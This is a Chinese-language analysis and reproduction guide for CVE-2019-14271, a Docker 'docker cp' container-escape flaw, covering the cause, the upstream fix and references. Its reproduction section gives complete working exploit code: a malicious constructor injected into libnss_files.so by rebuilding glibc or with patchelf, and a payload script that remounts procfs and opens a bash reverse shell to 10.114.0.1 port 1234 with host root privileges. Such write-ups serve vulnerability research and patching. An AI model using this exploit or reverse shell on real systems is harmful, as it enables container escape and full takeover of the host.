漏洞分析
CVE-2019-14271是一个Docker漏洞,利用这个漏洞可以在从容器复制文件到宿主的同时实现容器逃逸。
当用户从容器中复制文件到宿主系统的时候,Docker会执行docker-tar,chroot到容器中并打包要复制的文件。在这个过程中,Docker会调用getpwuid_r()来获取文件所有者的用户信息[1.1],这个功能是在glibc的nsswitch库中实现的,所以需要加载相关的动态链接库,例如libnss_files.so。
func lookupUnixUid(uid int) (*User, error) { var pwd C.struct_passwd var result *C.struct_passwd buf := alloc(userBuffer) defer buf.free() err := retryWithBuffer(buf, func() syscall.Errno { // mygetpwuid_r is a wrapper around getpwuid_r to avoid using uid_t // because C.uid_t(uid) for unknown reasons doesn't work on linux. return syscall.Errno(C.mygetpwuid_r(C.int(uid), &pwd, (*C.char)(buf.ptr), C.size_t(buf.size), &result)) }) if err != nil { return nil, fmt.Errorf("user: lookup userid %d: %v", uid, err) } if result == nil { return nil, UnknownUserIdError(uid) } return buildUser(&pwd), nil }
然而,Docker是在chroot进容器之后才加载的动态库,所以它加载的实际上是容器中的动态库而不是宿主系统中的。当Docker加载了容器中包含恶意代码的动态库时,就会在宿主的namespace下执行这些代码,从而造成逃逸。
漏洞复现
系统:Ubuntu 18.04
Docker:19.03.0
首先创建一个容器,新的镜像似乎不兼容当前版本的Docker,所以需要选择旧一些的版本,这里我用的是Ubuntu:bionic-20221215。接下来修改/lib/x86_64-linux-gnu/libnss_files.so.2,有两种方法,一是下载glibc的源码,修改以后编译,二是直接用patchelf给现有的so文件添加library。在此之前先把原来的so文件备份为 /origin.so。
方法一
查看容器中libnss的版本,下载对应版本的源码,libnss_files.so.2本身是个软链接,指向的文件名为libnss_files-2.27.so,因此容器中的版本是2.27,从http://ftp.gnu.org/gnu/glibc/glibc-2.27.tar.bz2下载,解压后会出现一个glibc-2.27目录。编译不能在这个目录下进行,需要在这个目录外创建一个新目录,假设为glibc-build,然后在该目录下再创建一个prefix目录。假设glibc-2.27和glibc-build都在根目录下。
修改glibc-2.27/nss/nss_files/files-init.c,添加如下内容:
#include <stdio.h> #include <stdlib.h> __attribute__ ((constructor)) void exp_func() { FILE * proc_file = fopen("/proc/self/exe", "r"); if (proc_file != NULL) { fclose(proc_file); return; } rename("/origin.so", "/lib/x86_64-linux-gnu/libnss_files.so.2"); system("/payload.sh"); return; }
开始编译:
cd /glibc-build /glibc-2.27/configure --prefix=/glibc-build/prefix --disable-werror make
最后生成的文件在/glibc-build/nss/libnss_files.so,把编译好的文件重命名并放到对应位置。
方法二
先用apt安装patchelf,然后编写exp.c,内容跟上面在files-init.c中添加的内容一样:
#include <stdio.h> #include <stdlib.h> __attribute__ ((constructor)) void exp_func() { FILE * proc_file = fopen("/proc/self/exe", "r"); if (proc_file != NULL) { fclose(proc_file); return; } rename("/origin.so", "/lib/x86_64-linux-gnu/libnss_files.so.2"); system("/payload.sh"); return; }
编译exp并patch到so文件里:
gcc -shared -fPIC /exp.c -o /exp.so patchelf --add-needed /exp.so /lib/x86_64-linux-gnu/libnss_files.so.2
通过ldd来查看patch的结果,可以看到多出了一个/exp.so。:
ldd /lib/x86_64-linux-gnu/libnss_files.so.2
以上是修改so的两种方式。接下来编写payload.sh:
#!/bin/bash umount /proc mount -t proc none /proc bash -i >& /dev/tcp/10.114.0.1/1234 0>&1
回到宿主,通过docker cp随便从容器中复制一个文件到宿主,即可触发payload的运行,上面的payload会将宿主的procfs挂载到容器中,并以宿主的root权限反弹shell,在监听反弹的终端里进入/proc/1/root/目录即可进入宿主的根目录。
官方修复
修复之后,Docker会在chroot进容器之前就加载宿主系统中的nsswitch[3.1]。
func init() { // initialize nss libraries in Glibc so that the dynamic libraries are loaded in the host // environment not in the chroot from untrusted files. _, _ = user.Lookup("docker") _, _ = net.LookupHost("localhost") }
参考
[1.1] https://github.com/golang/go/blob/go1.12.5/src/os/user/cgo_lookup_unix.go#L89
[2.1] https://unit42.paloaltonetworks.com/docker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271/
[2.2] https://ssst0n3.github.io/post/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/%E5%AE%89%E5%85%A8%E7%A0%94%E7%A9%B6/%E5%AE%B9%E5%99%A8%E5%AE%89%E5%85%A8/%E8%BF%9B%E7%A8%8B%E5%AE%B9%E5%99%A8/%E6%9C%8D%E5%8A%A1%E5%99%A8%E5%AE%B9%E5%99%A8/docker/%E5%8E%86%E5%8F%B2%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B8%8E%E5%A4%8D%E7%8E%B0/docker-software/plumbing/docker-cp/CVE-2019-14271/%E5%88%86%E6%9E%90/CVE-2019-14271%E5%88%86%E6%9E%90%E4%B8%8E%E5%A4%8D%E7%8E%B0.html
[3.1] https://github.com/moby/moby/commit/fa8dd90ceb7bcb9d554d27e0b9087ab83e54bd2b